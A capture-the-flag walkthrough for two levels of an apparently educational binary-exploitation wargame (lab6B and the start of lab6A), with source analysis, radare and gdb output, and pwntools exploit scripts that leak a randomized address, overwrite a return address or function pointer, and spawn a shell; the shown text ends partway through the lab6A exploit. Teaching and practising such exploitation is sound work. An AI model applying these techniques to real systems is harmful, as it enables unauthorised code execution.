    if(pwsize == 0 || pwsize == -1)
        return EXIT_FAILURE;

    /* hash the password we'll be comparing against */
    hash_pass(secretpw, "lab6A");
    printf("----------- FALK OS LOGIN PROMPT -----------\n");
    fflush(stdout);

    /* authorization loop */
    if(login_prompt(pwsize, secretpw))
    {

        /* print the super serious warning to ward off hackers */
        printf("+-------------------------------------------------------+\n"\
               "|WARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNIN|\n"\
               "|GWARNINGWARNI - TOO MANY LOGIN ATTEMPTS - NGWARNINGWARN|\n"\
               "|INGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWARNINGWAR|\n"\
               "+-------------------------------------------------------+\n"\
               "|       We have logged this session and will be         |\n"\
               "|  sending it to the proper CCDC CTF teams to analyze   |\n"\
               "|             -----------------------------             |\n"\
               "|     The CCDC cyber team dispatched will use their     |\n"\
               "|      masterful IT and networking skills to trace      |\n"\
               "|       you down and serve swift american justice       |\n"\
               "+-------------------------------------------------------+\n");

        return EXIT_FAILURE;
    }

    return EXIT_SUCCESS;
}

What does the program do?
–> Within the main function (line 149) the secret password is read using the function load_pass:

    pwsize = load_pass(&secretpw);

–> The function (line 44) opens the password-file /home/lab6A/.pass (line 51) and stores its contents in a newly allocated buffer (line 89):

    fd = fopen("/home/lab6A/.pass", "r");
    if(fread(*password, sizeof(char), psize, fd) != psize)

–> In the main function this password is hashed with the username lab6A using the function hash_pass (line 165):

    hash_pass(secretpw, "lab6A");

–> This function (line 22) performs XOR upon each consecutive character in password and username as long as no null-byte is found (lines 27-31):

    while(password[i] && username[i])
    {
        password[i] ^= username[i];
        i++;
    }

–> If a null-byte in username was found, every remaining character in password is XORed with 0x44 as long as no null-byte is found (lines 34-38):

    while(password[i])
    {
        password[i] ^= 0x44;
        i++;
    }

–> Within the main function login_prompt is called, passing the hashed secretpw (line 170):

    if(login_prompt(pwsize, secretpw))

–> The function (line 102) calls fgets twice to read two strings in a while-loop and copies the user input to username and password using strncpy (lines 123, 130):

        strncpy(username, readbuff, sizeof(username));
        strncpy(password, readbuff, sizeof(password));

–> The input is hashed using hash_pass (line 133) and compared to the secretpw using memcmp(line 136):

        hash_pass(password, username);
        if(pwsize > 16 && memcmp(password, secretpw, pwsize) == 0)

–> If the comparison succeeds the function login is called (line 138), which spawns a shell (line 17):

    system("/bin/sh");

Where is the vulnerability within the program?

As usual we should start with the user input to spot possible vulnerabilities. Within the function login_prompt the user input is read using fgets. As the second argument sizeof(readbuff) is passed limiting the amount of characters read to sizeof(readbuffer)-1. No vulnerability here. After the calls to fgets the input is copied to the variables username / password using strncpy. While the averaged programmer is well aware of the dangers using strcpy, strncpy is perceived as safe. Like the calls to fgets, strncpy is called passing the size of the destination buffer (sizeof(username) / sizeof(password)). Seems safe? Attention!

gameadmin@warzone:/tmp$ man strncpy
STRCPY(3)                               Linux Programmer's Manual                               STRCPY(3)

NAME
       strcpy, strncpy - copy a string

SYNOPSIS
       #include <string.h>

       char *strcpy(char *dest, const char *src);

       char *strncpy(char *dest, const char *src, size_t n);

DESCRIPTION
       The  strcpy()  function  copies  the string pointed to by src, including the terminating null byte
       ('\0'), to the buffer pointed to by dest.  The strings may not overlap, and the destination string
       dest must be large enough to receive the copy.  Beware of buffer overruns!  (See BUGS.)

       The  strncpy()  function  is  similar, except that at most n bytes of src are copied.  Warning: If
       there is no null byte among the first n bytes of src, the string placed in dest will not be  null-
       terminated.

       If the length of src is less than n, strncpy() writes additional null bytes to dest to ensure that
       a total of n bytes are written.

This means that the destination string ends up lacking a terminating null byte if there is no null byte among the first n characters in the source string. In order to prevent this the call must look like this:

        strncpy(username, readbuff, sizeof(username) - 1);

Let's run the program and see how we can leverage this vulnerability. In addition to the source code there is a readme-file within the labs directory:

lab6B@warzone:/levels/lab06$ cat lab6B.readme
lab6B is not a suid binary, instead you must pwn the privileged
service running on port 6642

Using netcat:
   nc wargame.server.example 6642 -vvv

Your final exploit must work against this service in order to
get the .pass file from the lab6A user.

Thus we will not run the binary directly but rather connect to the service using nc:

lab6B@warzone:~$ nc localhost 6642 -vvv
nc: connect to localhost port 6642 (tcp) failed: Connection refused
Connection to localhost 6642 port [tcp/*] succeeded!
----------- FALK OS LOGIN PROMPT -----------
Enter your username: aaaa
Enter your password: bbbb
Authentication failed for user aaaa

Enter your username:

Every thing works as intended so far. Now let's enter a username which will fill the whole buffer (32 byte):

Enter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter your password: xxxx
Authentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9999K
Enter your username:

Now the username is not null-terminated. When it is being printed, the characters following the buffer in memory are also printed: 9999K. What is 9999K? Remember that the password we entered was is being hashed with the username using the function hash_pass:

    while(password[i] && username[i])
    {
        password[i] ^= username[i];
        i++;
    }

This means that the 9999K is our hashed password:

'A' (0x41) ^  'x' (0x78) = '9' (0x39)
'A' (0x41) ^  'x' (0x78) = '9' (0x39)
'A' (0x41) ^  'x' (0x78) = '9' (0x39)
'A' (0x41) ^  'x' (0x78) = '9' (0x39)
'A' (0x41) ^ '\n' (0x0a) = 'K' (0x4b)

As fgets considers the entered newline as a valid character, it is also copied to password.

So what is happening if we enter a 32 byte username and a 32 byte password?

Enter your username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter your password: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Authentication failed for user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA99999999999999999999999999999999▒▒▒▒▒▒▒▒A▒D▒A▒D▒q▒▒G▒D▒"
Enter your username:

Looks like we are getting somewhere 🙂 Now the characters following the password buffer are also printed. Since both the username and the password buffer are stored on the stack, this must be items on the stack following these buffers.

And did you notice something else? Actually only 3 attempts to enter a username/password should be allowed before the program is quit. But the program keeps asking me for a username. It seems likely that we overwrote the attempts variable on the stack:

int login_prompt(int pwsize, char * secretpw)
{
    char password[32];
    char username[32];
    char readbuff[128];
    int attempts = -3;
    int result = -1;

In order to examine the output of the service better we can write a little python-script using pwntools:

lab6B@warzone:~$ cat /tmp/examine_lab6B.py
from pwn import *

p = remote("localhost", 6642)

print(p.recv(200))
p.sendline("A"*32) # sending username

print(p.recv(200))
p.sendline("x"*32) # sending password

ret = p.recv(400)
print(hexdump(ret))

Running the script:

lab6B@warzone:~$ python /tmp/examine_lab6B.py
[+] Opening connection to localhost on port 6642: Done
----------- FALK OS LOGIN PROMPT -----------
Enter your username:
Enter your password:
00000000  41 75 74 68  65 6e 74 69  63 61 74 69  6f 6e 20 66  │Auth│enti│cati│on f│
00000010  61 69 6c 65  64 20 66 6f  72 20 75 73  65 72 20 41  │aile│d fo│r us│er A│
00000020  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
00000030  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 39  │AAAA│AAAA│AAAA│AAA9│
00000040  39 39 39 39  39 39 39 39  39 39 39 39  39 39 39 39  │9999│9999│9999│9999│
00000050  39 39 39 39  39 39 39 39  39 39 39 39  39 39 39 c6  │9999│9999│9999│999·│
00000060  c6 c6 c6 c7  c6 c6 c6 41  36 47 8e 41  36 47 8e d1  │····│···A│6G·A│6G··│
00000070  8f e1 86 47  d6 44 8e 22  0a                        │···G│·D·"│·│
00000079
[*] Closed connection to localhost port 6642

Now we can identify the single items on the stack following the password buffer (little-endian):

[  c6c6c6c6  ]  (0x5f - 0x62)
[  c6c6c6c7  ]  (0x63 - 0x66)
[  8e473641  ]  (0x67 - 0x6a)
[  8e473641  ]  (0x6b - 0x6e)
[  86e18fd1  ]  (0x6f - 0x72)
[  8e44d647  ]  (0x73 - 0x76)
...

These values does not seem familiar. We can use radare to determine what is actually stored on the stack:

[0x000008c0]> pdf @ sym.login_prompt
╒ (fcn) sym.login_prompt 395
│          ; arg int arg_2        @ ebp+0x8
│          ; arg int arg_3        @ ebp+0xc
│          ; arg int arg_4        @ ebp+0x10
│          ; var int local_0_1    @ ebp-0x1
│          ; var int local_0_3    @ ebp-0x3
│          ; var int local_3      @ ebp-0xc
│          ; var int local_4      @ ebp-0x10
│          ; var int local_12     @ ebp-0x30
│          ; var int local_20     @ ebp-0x50
│          ; var int local_52     @ ebp-0xd0
│          ; CALL XREF from 0x00000f79 (sym.main)
│          ;-- sym.login_prompt:
│          0x00000d36    55             push ebp
│          0x00000d37    89e5           mov ebp, esp
│          0x00000d39    53             push ebx
│          0x00000d3a    81ece4000000   sub esp, 0xe4
│          0x00000d40    e8bbfbffff     call sym.__x86.get_pc_thunk.bx ;sym.__x86.get_pc_thunk.bx()
│          0x00000d45    81c333220000   add ebx, 0x2233
│          0x00000d4b    c745f4fdffff.  mov dword [ebp-local_3], 0xfffffffd  ; [0xfffffffd:4]=-1 ; -3
│          0x00000d52    c745f0ffffff.  mov dword [ebp-local_4], sym.imp._ITM_registerTMCloneTable  ; [0xffffffff:4]=-1 ; sym.imp._ITM_registerTMCloneTable
│      ┌─< 0x00000d59    e946010000     jmp 0xea4
│  ┌       ; JMP XREF from 0x00000eaf (sym.login_prompt)
│  ┌─────> 0x00000d5e    c74424082000.  mov dword [esp + 8], 0x20       ; [0x20:4]=0x2154  ; "T!" 0x00000020  ; "T!" @ 0x20
│  │   │   0x00000d66    c74424040000.  mov dword [esp + 4], 0          ; [0x4:4]=0x10101
│  │   │   0x00000d6e    8d45d0         lea eax, [ebp-local_12]
│  │   │   0x00000d71    890424         mov dword [esp], eax
│  │   │   0x00000d74    e817fbffff     call sym.imp.memset ;sym.imp.memset()
│  │   │   0x00000d79    c74424082000.  mov dword [esp + 8], 0x20       ; [0x20:4]=0x2154  ; "T!" 0x00000020  ; "T!" @ 0x20
│  │   │   0x00000d81    c74424040000.  mov dword [esp + 4], 0          ; [0x4:4]=0x10101
│  │   │   0x00000d89    8d45b0         lea eax, [ebp-local_20]
│  │   │   0x00000d8c    890424         mov dword [esp], eax
│  │   │   0x00000d8f    e8fcfaffff     call sym.imp.memset ;sym.imp.memset()
│  │   │   0x00000d94    c74424088000.  mov dword [esp + 8], 0x80       ; [0x80:4]=0
│  │   │   0x00000d9c    c74424040000.  mov dword [esp + 4], 0          ; [0x4:4]=0x10101
│  │   │   0x00000da4    8d8530ffffff   lea eax, [ebp-local_52]
│  │   │   0x00000daa    890424         mov dword [esp], eax
│  │   │   0x00000dad    e8defaffff     call sym.imp.memset ;sym.imp.memset()

The relevant parts are highlighted. The variable stored at ebp-local_3 (ebp-0xc) is initialized with -3. The variable stored at ebp-local_4 (ebp-0x10) is initialized with -1. These are the variables attempts and result. Before these variables the buffers readbuff (ebp-local_52: ebp-0xd0), username (local_20: ebp-0x50) and password (local_12: ebp-0x30) are stored, which are initialized using memset.

This means that the first items on the stack should be result and attempts:

[  c6c6c6c6  ]  (0x5f - 0x62)  <-- result   (initialized with 0xffffffff)
[  c6c6c6c7  ]  (0x63 - 0x66)  <-- attempts (initialized with 0xfffffffd)
[  8e473641  ]  (0x67 - 0x6a)
[  8e473641  ]  (0x6b - 0x6e)
[  86e18fd1  ]  (0x6f - 0x72)
[  8e44d647  ]  (0x73 - 0x76)
...

result should be -1 (0xffffffff) but it changed to 0xc6c6c6c6!? Do you remember how the hash_pass function works?

    while(password[i] && username[i])
    {
        password[i] ^= username[i];
        i++;
    }

As long as password[i] or username[i] are not null, password[i] is XORed with username[i]. Because both strings username and password do not contain a terminating null-byte, the loop just keeps on XORing all following values on the stack:

This means that the values on the stack got XORed with the password, which has been XORed with the username before:

password[0]  = username[0] ^ password[0]
...
password[33] = password[0] ^ password[33] = 0xc6

The XORed value for password[0] is '9' (0x39). Thus the previous value of password[33] was:

password_33_before = password[0] ^ 0xc6
password_33_before = 0x39 ^ 0xc6
password_33_before = 0xff

0xff! Just as we suspected. Now we can convert all items on the stack to the original value by XORing with 0x39:

[  ffffffff  ]  (0x5f - 0x62)  <-- result   (initialized with 0xffffffff)
[  fffffffe  ]  (0x63 - 0x66)  <-- attempts (initialized with 0xfffffffd)
[  b77e0f78  ]  (0x67 - 0x6a)
[  b77e0f78  ]  (0x6b - 0x6e)
[  bfd8b6e8  ]  (0x6f - 0x72)
[  b77def7e  ]  (0x73 - 0x76)
...

The value of result is -1 (0xffffffff). attempts has been incremented by one and thus is -2 (0xfffffffe).

What we are really interested in is the return address of the function login_prompt. Within the binary, the return address should be the address right after the call to login_prompt:

[0x000008c0]> pdf @ sym.main
╒ (fcn) sym.main 224
...
│    │     0x00000f79    e8b8fdffff     call sym.login_prompt ;sym.login_prompt()
│    │     0x00000f7e    85c0           test eax, eax
...
[0x000008c0]>

The instruction after the call is stored at offset 0x00000f7e. As we have seen in the last level, this is not the final address since the binary is compiled as PIE and the .text segment is loaded at a random address. Nevertheless the offsets stays the same and we can easily identify the return address on the stack:

[  ffffffff  ]  (0x5f - 0x62)  <-- result   (initialized with 0xffffffff)
[  fffffffe  ]  (0x63 - 0x66)  <-- attempts (initialized with 0xfffffffd)
[  b77e0f78  ]  (0x67 - 0x6a)
[  b77e0f78  ]  (0x6b - 0x6e)
[  bfd8b6e8  ]  (0x6f - 0x72)
[  b77def7e  ]  (0x73 - 0x76)  <-- return address, offset: 0xf7e
...

Since we want to get a shell, our goal is to call the function login:

[0x000008c0]> afl~login
0x00000af4  57  1  sym.login

The function login is located at offset 0xaf4. If we abuse the hash_pass function in order to change the last 12 bits of the return address to 0xaf4 the function login is called, when the function login_prompt returns.

In order to do this we have to set each byte of password which is XORed with the return address to the appropriate value.

Let's start with the least significant byte. We want to change this from 0x7e (return address) to f4 (offset login). Thus the corresponding byte in password has to be:

0xf4 = password_byte ^ 0x7e
password_byte = 0x7e ^0xf4
password_byte = 0x8a

0x8a! But we have to consider, that the values of password will also be XORed with the corresponding byte in username. Since we set the username to AAAA..., the byte in password before the XOR was performed has to be:

0x8a = password_byte_inital ^ 0x41 ('A')
password_byte_inital = 0x41 ^ 0x8a
password_byte_inital = 0xcb

This means that we have to set the corresponding byte in password to 0xcb. This value will be XORed with username resulting in 0x8a. And this value will be XORed with the byte 0x7e in the return address finally changing it to 0xf4.

If you are not confused yet, here is another issue: We do not want to change the upper bytes of the return address since these contain the randomized base address. Just like in the last level we want to do a Partial Overwrite. If the value of these bytes should not be changed, the value of the corresponding byte in password should be zero. But if password contains a null-byte the first loop terminates and the next loop XORs the return address with the constant 0x44:

    /* hash pass with chars of username */
    while(password[i] && username[i])
    {
        password[i] ^= username[i];
        i++;
    }

    /* hash rest of password with a pad char */
    while(password[i])
    {
        password[i] ^= 0x44;
        i++;
    }

This will change the base address in the return address and we will not jump to login:

This means that we cannot do a partial overwrite. We rather change the return address appropriately in two steps:
–> (1) Input 32*'A' for username and 32*'x' for password and leak the return address including the randomized base address.
–> (2) Input another username and password setting the values for password according to the leaked base address so that the return address will be set to the address of login.

Another thing to consider is that we must also change the variable attempts. In order to quit the loop and reach the ret instruction of the function login_prompt attempts has to be set to zero.

With all this in mind we can create the final exploit:

lab6B@warzone:/levels/lab06$ cat /tmp/exploit_lab6B.py
from pwn import *

p = remote("localhost", 6642)

# *************************************************************
# stage1: leak return address including randomized base address

p.recv(200)
p.sendline("A"*32) # username
p.recv(200)
p.sendline("x"*32) # password

ret = p.recv(400)  # output contains return address (XORed)

addr_ret_after_xor = ret[0x73:0x77]
addr_ret_orig = [chr(ord(a)^0x39) for a in addr_ret_after_xor]

# *******************************************************************************
# stage2: adjusting password so that return address will be changed appropriately

explPwd  = "x" * 4             # variable result
explPwd += "\x89\x87\x87\x87"  # variable attempts (set to 0)
explPwd += "x" * 12
explPwd += chr(ord(addr_ret_after_xor[0])^0xf4^0x41)
explPwd += chr(ord(addr_ret_after_xor[1])^(ord(addr_ret_orig[1]) & 0xf0 | 0xa)^0x41)
explPwd += chr(ord(addr_ret_after_xor[2])^ ord(addr_ret_orig[2])^0x41)
explPwd += chr(ord(addr_ret_after_xor[3])^ ord(addr_ret_orig[3])^0x41)
explPwd += "x" * 8

p.recv(200)
p.sendline("A"*32)  # username
p.recv(200)
p.sendline(explPwd) # password

p.recv(400)
p.interactive()

Running the script:

lab6B@warzone:/levels/lab06$ python /tmp/exploit_lab6B.py
[+] Opening connection to localhost on port 6642: Done
[*] Switching to interactive mode
WELCOME MR. FALK
$ whoami
lab6A
$ cat /home/lab6A/.pass
strncpy_1s_n0t_s0_s4f3_l0l

Done! 🙂 The password for the next level is strncpy_1s_n0t_s0_s4f3_l0l.


lab6A

We connecting to the next level using the previously gained credentials lab6A with the password strncpy_1s_n0t_s0_s4f3_l0l:

gameadmin@warzone:~$ sudo ssh lab6A@localhost
lab6A@localhost's password: (strncpy_1s_n0t_s0_s4f3_l0l)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------
Last login: Wed Jan 24 08:47:26 2018 from localhost

We start by analysing the source code:

lab6A@warzone:/levels/lab06$ cat lab6A.c
/*
Exploitation with ASLR enabled
Lab A

gcc -fpie -pie -fno-stack-protector -o lab6A ./lab6A.c

Patrick Biernat
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "utils.h"

struct uinfo {
    char name[32];
    char desc[128];
    unsigned int sfunc;
}user;


struct item {
    char name[32];
    char price[10];
}aitem;

struct item ulisting;

void write_wrap(char ** buf) {
    write(1, *buf, 8);
}

void make_note() {
    char note[40];
    printf("Make a Note About your listing...: ");
    gets(note);
}

void print_listing() {
    printf(
    "Here is the listing you've created: \n");
    if(*ulisting.name == '\x00') {
        return;
    }
    printf("Item: %s\n", ulisting.name);
    printf("Price: %s\n",ulisting.price);
}

void make_listing() {
    printf("Enter your item's name: ");
    fgets(ulisting.name, 31, stdin);
    printf("Enter your item's price: ");
    fgets(ulisting.price, 9, stdin);
}

void setup_account(struct uinfo * user) {
    char temp[128];
    memset(temp, 0, 128);
    printf("Enter your name: ");
    read(0, user->name, sizeof(user->name));
    printf("Enter your description: ");
    read(0, temp, sizeof(user->desc));
    strncpy(user->desc, user->name,32);
    strcat(user->desc, " is a ");

    memcpy(user->desc + strlen(user->desc), temp, strlen(temp));
}

void print_name(struct uinfo * info) {
    printf("Username: %s\n", info->name);
}

int main(int argc, char ** argv) {
    disable_buffering(stdout);
    struct uinfo  merchant;
    char choice[4];

    printf(
    ".-------------------------------------------------. \n" \
    "|  Welcome to l337-Bay                          + | \n"
    "|-------------------------------------------------| \n"
    "|1: Setup Account                                 | \n"
    "|2: Make Listing                                  | \n"
    "|3: View Info                                     | \n"
    "|4: Exit                                          | \n"
    "|-------------------------------------------------| \n" );

    // Initialize user info
    memset(merchant.name, 0, 32);
    memset(merchant.desc, 0 , 64);
    merchant.sfunc = (unsigned int)print_listing;

    //initialize listing
    memset(ulisting.name, 0, 32);
    memset(ulisting.price, 0, 10);

    while(1) {
        memset(choice, 0, 4);
        printf("Enter Choice: ");

        if (fgets(choice, 2, stdin) == 0) {
            break;
        }
        getchar(); // Eat the newline

        if (!strncmp(choice, "1",1)) {
            setup_account(&merchant);
        }
        if (!strncmp(choice, "2",1)) {
            make_listing();
        }
        if (!strncmp(choice, "3",1)) { // ITS LIKE HAVING CLASSES IN C!
            ( (void (*) (struct uinfo *) ) merchant.sfunc) (&merchant);
        }
        if (!strncmp(choice, "4",1)) {
            return EXIT_SUCCESS;
        }

    }


    return EXIT_SUCCESS;
}

What does the program do?
–> Again the binary is compiled with the option -fpie -pie (line 5), which means that all addresses are randomized.
–> There are two global struct definitions: uinfo (lines 15-19) and item (lines 22-25). We will focus on the uinfo struct.
–> Within the main function (line 73) the struct uinfo is instantiated with the name merchant (line 75).
–> Both strings of the struct are initialized (lines 89-90). For the desc string only the first 64 of the total 128 bytes are zeroed out.
–> The member sfunc is set to the address of the function print_listing (line 91).
–> The program runs in a loop repetitively asking the user the input a choice (lines 97-99). The following choices can be made:
    - Setup Account (calls the function setup_account(&merchant): line 107).
    - Make Listing (calls the function make_listing: line 110).
    - View Info (interprets the sfunc member as a function address, which is called passing &merchant: line 113).
    - Exit (returning and thus quitting the program: line 116).
–> The function setup_account (line 56) reads a name and a description:
    - The name is directly stored in user->name using the function read (line 60).
    - The description is temporary stored in temp (line 62).
    - user->name is then copied to user->desc (line 63) and the string " is a " is appended (line 64).
    - memcpy is used to append the description stored in temp to user->desc (line 66).
–> There are three functions, which are not called at all: write_wrap (line 29), make_note (line 33) and print_name (69).

Where is the vulnerability in the program?
There is a obvious vulnerability within make_note since the function uses gets to read a user input. As the function make_note is not called at all, we cannot make use of it. But there is another vulnerability within the function setup_account. The member user->desc is initialized with a maximum of 32 byte of user->name using strncpy (line 63). After this the string " is a " is appended to user->desc (line 64) which makes a maximum of 32 + 6 = 38 byte. Then the content of the variable temp, which holds a maximum of 128 byte, is appended (line 66). Summing it up a total amount of 38 + 128 = 166bytes are copied to user->desc. Since user->desc is only 128 byte long, we can cause a buffer-overflow.

When we have identified a buffer-overflow the most usual overwrite-target is the return address of the stack-frame the buffer we can overflow resides in. But in this case there is a far more closer target: the sfunc member of the struct. Since the value of sfunc is interpreted as a function-address which is called, when we choose View Info, we can set this value to an address we would like to jump to. Let's start by verifying our assumptions:

The user input for user->name is read using the function read passing 32 as the maximum of bytes to read. Since read also gets the closing newline (0xa, we will enter 31 characters for the username. In an analogous manner we will enter 127 characters for the description.

At first we identify the instruction which calls sfunc and set up a breakpoint on that instruction using gdb:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   ...
   0x00000d8f <+384>:   mov    eax,DWORD PTR [esp+0xbc]
   0x00000d96 <+391>:   lea    edx,[esp+0x1c]
   0x00000d9a <+395>:   mov    DWORD PTR [esp],edx
   0x00000d9d <+398>:   call   eax
   ...
End of assembler dump.
gdb-peda$ b *main+398
Breakpoint 1 at 0xd9d

Then we run the program, choose Setup Account, fill up the username and the description and choose View Info to call sfunc:

gdb-peda$ pattern create 127
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO'
gdb-peda$ r
Starting program: /levels/lab06/lab6A
.-------------------------------------------------.
|  Welcome to l337-Bay                          + |
|-------------------------------------------------|
|1: Setup Account                                 |
|2: Make Listing                                  |
|3: View Info                                     |
|4: Exit                                          |
|-------------------------------------------------|
Enter Choice: 1
Enter your name: UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
Enter your description: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO
Enter Choice: 3
[----------------------------------registers-----------------------------------]
EAX: 0x6741414b ('KAAg')
EBX: 0xb77a3000 --> 0x2ef8
ECX: 0xb776e8a4 --> 0x0
EDX: 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...)
ESI: 0x0
EDI: 0x0
EBP: 0xbfeac0e8 ("hAA7AAMAAiAA8AANAAjAA9AAO\n\350\300\352\277\352\277$\301\352\277\070\060z\267\240\003z\267")
ESP: 0xbfeac020 --> 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...)
EIP: 0xb77a0d9d (<main+398>:    call   eax)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xb77a0d8f <main+384>:       mov    eax,DWORD PTR [esp+0xbc]
   0xb77a0d96 <main+391>:       lea    edx,[esp+0x1c]
   0xb77a0d9a <main+395>:       mov    DWORD PTR [esp],edx
=> 0xb77a0d9d <main+398>:       call   eax
   0xb77a0d9f <main+400>:       lea    eax,[esp+0x18]
   0xb77a0da3 <main+404>:       movzx  edx,BYTE PTR [eax]
   0xb77a0da6 <main+407>:       lea    eax,[ebx-0x1f13]
   0xb77a0dac <main+413>:       movzx  eax,BYTE PTR [eax]
Guessed arguments:
arg[0]: 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...)
[------------------------------------stack-------------------------------------]
0000| 0xbfeac020 --> 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...)
0004| 0xbfeac024 --> 0x2
0008| 0xbfeac028 --> 0xb776dc20 --> 0xfbad2288
0012| 0xbfeac02c --> 0x0
0016| 0xbfeac030 --> 0xbfeac098 ("AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300\352\277\352\277$\301\352\277\070\060z\267\240\003z\267")
0020| 0xbfeac034 --> 0xb779fa94 --> 0xb777ab18 --> 0xb779f938 --> 0xb77a0000 --> 0x464c457f
0024| 0xbfeac038 --> 0x33 ('3')
0028| 0xbfeac03c ('U' <repeats 31 times>, "\n", 'U' <repeats 31 times>, "\n is a AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAO\n\350\300"...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xb77a0d9d in main ()
gdb-peda$ pattern offset $eax
1732329803 found at offset: 90

For the description is used a pattern to calculate the offset from the description string to sfunc when inputting 32 byte (31 characters) for the username. This offset is 90 byte.

Well, we can control the instruction pointer now, but where should we jump to? We do not know any absolute address, neither of a shared library, nor of the binary itself. Our ultimate goal is to spawn a shell. Because there is no win function within the binary and we cannot store and execute a shellcode in the stack (NX enabled), we should try to call system("/bin/sh") from the libc. Before we can do that, we need the address of the libc. sfunc contains the absolute address of the function print_listing, which is at least a valid address of the binary. We can do a Partial Overwrite as we did in the last two levels in order to call another function of the binary. As we want to leak a libc address and thus have to somehow print something a suitable candidate might be the function print_name:

void print_name(struct uinfo * info) {
    printf("Username: %s\n", info->name);
}

At first we need to lookup the offset of the function. These are the two bytes we are going to overwrite:

gdb-peda$ p print_name
$1 = {<text variable, no debug info>} 0xbe2 <print_name>

print_name is located at offset 0xbe2. Because in the two least significant bytes we are going to overwrite are still 4 randomized bits, I wrote a python-script which repetitively sets the two bytes to 0xbe2 and tries to call the function by choosing View Info until the call succeeds:

lab6A@warzone:/levels/lab06$ cat /tmp/exploit_lab6A.py
from pwn import *

def setupAccount(p, u, d):
  p.sendline("1")
  p.recvuntil("name: ")
  p.sendline(u)
  p.recvuntil("description: ")
  p.sendline(d)
  p.recvuntil("Choice: ")
  p.sendline("3")


while True:

  p = process("./lab6A")
  p.recvuntil("Choice: ")

  # partially overwrite sfunc (print_name)
  setupAccount(p, "A"*31, "X"*90+"\xe2\x0b\x00")

  try:
    ret = p.recv(400)
    if ("Username: " in ret): break
  except EOFError:
    continue

log.info("Partial overwrite succeeded!")

print(ret)
p.interactive()

After a few attempts the function print_name gets successfully called:

lab6A@warzone:/levels/lab06$ python /tmp/exploit_lab6A.py
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[+] Starting program './lab6A': Done
[*] Partial overwrite succeeded!
Username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 is a XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX▒
p\xb7
Enter Choice:
[*] Switching to interactive mode
$

